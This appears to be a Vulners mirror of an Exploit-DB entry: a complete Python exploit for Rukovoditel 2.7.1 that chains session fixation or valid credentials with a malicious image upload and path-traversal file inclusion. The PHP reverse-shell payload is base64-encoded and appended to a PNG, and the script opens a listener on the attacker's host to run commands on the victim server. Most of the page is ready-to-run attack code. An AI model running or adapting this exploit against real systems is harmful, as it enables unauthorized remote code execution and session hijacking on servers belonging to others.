Lucene search
K

Rukovoditel 2.7.1 - Remote Code Execution (2) (Authenticated)

🗓️ 02 Sep 2020 00:00:00Reported by danyx07Type 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 115 Views

Rukovoditel 2.7.1 Remote Code Execution, using session fixation vulnerability and access credentials to upload image with PHP content for reverse shel

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Path Traversal in Rukovoditel
25 Mar 202116:03
githubexploit
CNVD
Rukovoditel Input Validation Error Vulnerability
17 Apr 202000:00
cnvd
CVE
CVE-2020-11819
16 Apr 202017:42
cve
Cvelist
CVE-2020-11819
16 Apr 202017:42
cvelist
Exploit DB
Rukovoditel 2.6.1 - RCE (1)
11 Dec 202000:00
exploitdb
NVD
CVE-2020-11819
16 Apr 202019:15
nvd
OSV
CVE-2020-11819
16 Apr 202019:15
osv
Prion
Command injection
16 Apr 202019:15
prion
RedhatCVE
CVE-2020-11819
22 May 202516:11
redhatcve
#!/usr/bin/python3
# Exploit Title: Rukovoditel 2.7.1 - Remote Code Execution (Authenticated) 
# Exploit Author: @_danyx07
# Vendor Homepage: https://www.rukovoditel.net/
# Software Link: https://www.rukovoditel.net/download.php
# Version: Rukovoditel < 2.7
# Tested on: Debian 9 Rukovoditel 2.6.1
# CVE : CVE-2020-11819
# Description : This exploit has two modes of execution, using the session fixation vulnerability (CVE-2020-15946) or using the access credentials of any account under any profile.
#   With the --type L option, this script will create a malicious link, if the link is accessed in a browser by the victim, an arbitrary session identifier will be set that will be used to steal their session after uploading an image with PHP content on their photo profile, and then use local file include (CVE-2020-11819) to get a nice reverse shell.
#   Or, with the options --type C -u <username> -p <password> you can provide credentials, load the image with PHP content and use local file inclusion (CVE-2020-11819) to achieve the execution of code. 
#   Protip: remember to check if the registration module is enabled ;)

import sys
import requests
from bs4 import BeautifulSoup
import re
import base64
import argparse
import os
from shutil import copyfile
import datetime
import hashlib
import socket
import threading
import time
import random
import uuid

__version__ = '1.0'

parser = argparse.ArgumentParser(description=
    "Post-authenticate RCE for rukovoditel, script version %s" % __version__,
                                     usage='\n  %(prog)s -t <target> -a L --ip attacker IP --port attacker port [options]\n  %(prog)s -t <target> -a C -u <username> -p <password> --ip attacker IP --port attacker port [options]\n\n')
         
parser.add_argument('-t', '--target', metavar='URL', type=str, required=True,
                    help='URL/Full path to CMS Rukovoditel http://url/path/to/cms/')
     
parser.add_argument('-u', '--user', type=str,
                    help='Username for authentication')
     
parser.add_argument('-p', '--password', type=str,
                    help='Password for authentication')
     
parser.add_argument('-a', '--type', required=True,  type=str,
                    help='Use -a L  to generate the link and steal the session or use -a C  if you have access credentials to the web application')
     
parser.add_argument('--ip', metavar="IP_ATTACKER", required=True,  type=str,
        help='IP attacker for reverse shell!')
     
parser.add_argument('--port', metavar="PORT_ATTACKER", required=True,  type=str,
                    help='Port for reverse shell connection')
     
parser.add_argument('--proxy', metavar="PROXY",
                    help='Setup http proxy for debbugin http://127.0.0.1:8080')
     
args = parser.parse_args()
     
# Global variables 
s = requests.Session()
url = args.target
user = args.user
pwd = args.password
typeAttack = args.type
IP=args.ip
PORT=args.port
proxyDict = {"http" : args.proxy, "https" : args.proxy}
csrf_token=""
pht=None
flag_access=False
sid = uuid.uuid4().hex
     
def serverShell():
    server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    server_address = (IP,int(PORT))
    server.bind((server_address))
    server.listen(0)
    print("[+] Listening on %s:%s" % (IP,PORT))
    conn,addr = server.accept()
    print("[+] Accepted connection from %s and port %s" % (addr[0],addr[1]))
    print("Type 'quit' for exit")
    server.settimeout(10)
    while True:
        cmd = input()
        if cmd == 'quit':
            print("[-] Closing connection with the shell")
            conn.close()
            server.close()
            break

        cmd = cmd + "\n"
        if len(str(cmd)) > 0:
            command = conn.send(cmd.encode('utf-8'))
            try:
                response = conn.recv(2048)
                print(response.decode('utf-8'))
            except server.timeout:
                print("Didn't receive data!")
            finally:
                server.close()
    conn.close()

def authByCookie():
    global flag_access
    global sid
    url_hijack = url+'index.php?sid='+sid
    url_in = url+"index.php?module=dashboard/"
    print("[+] Send this URL to the victim -> %s" % url_hijack)
    while True:
        if flag_access == True:
            break

def checkAccess(stop):
    global flag_access
    time.sleep(3)
    while True:
        if typeAttack == 'L':
            s.cookies.clear()
            s.cookies.set('sid',sid)
        url_login = url+'index.php?module=users/account'
        r = s.get(url_login, proxies=proxyDict)
        response = r.text
        if response.find('account_form') != -1:
            print("[+] Access granted!")
            soup = BeautifulSoup(response, 'lxml')
            csrf_token = soup.find('input')['value']
            flag_access=True
        else:
            print("[-] Waiting for access")
        if stop():
            break
        time.sleep(3)
    return 0
    
def makeAuth():
    url_login = url+'index.php?module=users/login&action=login'
    r = s.get(url_login, proxies=proxyDict)
    html = r.text
    soup = BeautifulSoup(html, 'lxml')
    csrf_token = soup.find('input')['value']
    print("[+] Getting CSRF Token %s" % csrf_token )
    auth = {'username':user, 'password':pwd, 'form_session_token':csrf_token}
    print("[+] Trying to authenticate with username %s" % user)
    r = s.post(url_login, data=auth, proxies=proxyDict)
    response = r.text
    if response.find("login_form") != -1:
        print("[-] Authentication failed... No match for Username and/or Password!")
        return -1

def createEvilFile():
    rv = """
        /*<?php /**/
         unlink(__FILE__);
          @error_reporting(0);
          @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);
          $dis=@ini_get('disable_functions');
          if(!empty($dis)){
            $dis=preg_replace('/[, ]+/', ',', $dis);
            $dis=explode(',', $dis);
            $dis=array_map('trim', $dis);
          }else{
            $dis=array();
          }
          
        $ipaddr='"""+IP+"""';
        $port="""+PORT+""";

        if(!function_exists('SsMEEaClAOR')){
          function SsMEEaClAOR($c){
            global $dis;
            
          if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
            $c=$c." 2>&1\\n";
          }
          $RhoVbBR='is_callable';
          $vaVrJ='in_array';
          
          if($RhoVbBR('proc_open')and!$vaVrJ('proc_open',$dis)){
            $handle=proc_open($c,array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes);
            $o=NULL;
            while(!feof($pipes[1])){
              $o.=fread($pipes[1],1024);
            }
            @proc_close($handle);
          }else
          if($RhoVbBR('shell_exec')and!$vaVrJ('shell_exec',$dis)){
            $o=shell_exec($c);
          }else
          if($RhoVbBR('exec')and!$vaVrJ('exec',$dis)){
            $o=array();
            exec($c,$o);
            $o=join(chr(10),$o).chr(10);
          }else
          if($RhoVbBR('popen')and!$vaVrJ('popen',$dis)){
            $fp=popen($c,'r');
            $o=NULL;
            if(is_resource($fp)){
              while(!feof($fp)){
                $o.=fread($fp,1024);
              }
            }
            @pclose($fp);
          }else
          if($RhoVbBR('system')and!$vaVrJ('system',$dis)){
            ob_start();
            system($c);
            $o=ob_get_contents();
            ob_end_clean();
          }else
          if($RhoVbBR('passthru')and!$vaVrJ('passthru',$dis)){
            ob_start();
            passthru($c);
            $o=ob_get_contents();
            ob_end_clean();
          }else
          {
            $o=0;
          }
        
            return $o;
          }
        }
        $nofuncs='no exec functions';
        if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){
          $s=@fsockopen("tcp://$ipaddr",$port);
          while($c=fread($s,2048)){
            $out = '';
            if(substr($c,0,3) == 'cd '){
              chdir(substr($c,3,-1));
            } else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
              break;
            }else{
              $out=SsMEEaClAOR(substr($c,0,-1));
              if($out===false){
                fwrite($s,$nofuncs);
                break;
              }
            }
            fwrite($s,$out);
          }
          fclose($s);
        }else{
          $s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
          @socket_connect($s,$ipaddr,$port);
          @socket_write($s,"socket_create");
          while($c=@socket_read($s,2048)){
            $out = '';
            if(substr($c,0,3) == 'cd '){
              chdir(substr($c,3,-1));
            } else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
              break;
            }else{
              $out=SsMEEaClAOR(substr($c,0,-1));
              if($out===false){
                @socket_write($s,$nofuncs);
                break;
              }
            }
            @socket_write($s,$out,strlen($out));
          }
          @socket_close($s);
        }
    """
    encoded_bytes = rv.encode('ascii')
    b64_bytes = base64.b64encode(encoded_bytes);
    payload = b64_bytes.decode('ascii')
    createImage()
    copyfile("./tux.png","/tmp/evil-tux.png")
    evilF = open('/tmp/evil-tux.png','a+')
    evilF.write("<?php eval(base64_decode(\""+payload+"\")); ?>")
    evilF.close()
    print("[+] Evil file created!")

def searchFile(etime):
    cdate = etime
    for i in range(3600,52200,900):
        h1 = hashlib.sha1()
        img1 = str(cdate+i)+"_evil-tux.png"
        h1.update(img1.encode('utf-8'))
        r = requests.get(url+"uploads/users/"+h1.hexdigest())
        if r.status_code == 200:
            print(r.text)
            return h1.hexdigest()
        h2 = hashlib.sha1()
        img2 = str(cdate-i)+"_evil-tux.png"
        h2.update(img2.encode('utf-8'))
        r = requests.get(url+"uploads/users/"+h2.hexdigest())
        if r.status_code == 200:
            #print(r.text)
            return h2.hexdigest()
        i+1800
    return ""


def uploadFile():
    global pht
    print("[+] Trying to upload evil file!...")
    form_data1 = {'form_session_token':csrf_token, 'fields[7]':'Administrator', 'fields[8]':'PoC', 'fields[9]':'[email protected]', 'fields[13]':'english.php'}
    files = {'fields[10]':open('/tmp/evil-tux.png','rb')}
    url_upload = url+'index.php?module=users/account&action=update'
    r = s.post(url_upload, files=files, data=form_data1, proxies=proxyDict)
    date = r.headers['Date']
    etime = int(datetime.datetime.strptime(date, '%a, %d %b %Y %H:%M:%S GMT').strftime('%s'))
    #reg = re.findall(r"([a-fA-F\d]{40})",r.text)
    reg = None
    if not reg:
        print("[-] The file name was not found in the response :(")
        fileUp = searchFile(etime)
    else:
        fileUp = reg[0]
    print("[+] Looking for the file name uploaded...")
    r = s.get(url+"/uploads/users/"+fileUp)
    if r.status_code!=200:
        print("[-] File name couldn't be found!")
        exit()
    pht="../../uploads/users/"+fileUp
    print("[+] String for path traversal is %s" % pht)

def updateProfile(oplang="english.php"):
    if oplang == "english.php":
        print("[+] Updating profile with language %s " % oplang)
        payload = {'form_session_token':csrf_token, 'fields[7]':'Administrator', 'fields[8]':'PoC', 'fields[9]':'[email protected]', 'fields[13]':oplang, 'fields[10]':''}
        files = {"":""}
        url_upload = url+'index.php?module=users/account&action=update'
        r = s.post(url_upload, files=files, data=payload, proxies=proxyDict)
        return 0
    else:
        print("[+] Updating user profile field[13] <--file inclusion through path traversal... Wait for the shell :)")
        payload = {'form_session_token':csrf_token, 'fields[7]':'Administrator', 'fields[8]':'PoC', 'fields[9]':'[email protected]', 'fields[13]':oplang, 'fields[10]':''}
        files = {"":""}
        url_upload = url+'index.php?module=users/account&action=update'
        r = s.post(url_upload, files=files, data=payload, proxies=proxyDict)
        serverShell()

def createImage():
    if os.path.exists("tux.png"):
        return
    imgb64 = "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"
    f = open("tux.png","wb")
    f.write(base64.b64decode(imgb64))	
    f.close()

def main():
    s.cookies.clear()
    stop_threads = False
    check_thread = threading.Thread(target=checkAccess, args =(lambda : stop_threads, ))
    check_thread.start()
    if typeAttack == "C":
        if makeAuth() == -1:
            stop_threads = True
            check_thread.join()
            print("[-] Exiting...")
            exit(0)
    elif typeAttack == "L":
        authByCookie()
    else:
        "[!] You must specify the type of attack with the -a option"
        exit()
    createEvilFile()
    uploadFile()
    updateProfile(pht)
    stop_threads = True
    check_thread.join()
    print("[+] Starting clean up...")
    updateProfile()
    os.remove("/tmp/evil-tux.png")
    print("[+] Exiting...")

if __name__ == '__main__':
    main()
    s.cookies.clear()
    """try:
        main()
        s.cookies.clear()
    except Exception as e:
       print("[\033[91m!\033[0m] Error: %s" % e)"""

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Sep 2020 00:00Current
9.7High risk
Vulners AI Score9.7
CVSS 27.5
CVSS 3.19.8
EPSS0.27004
115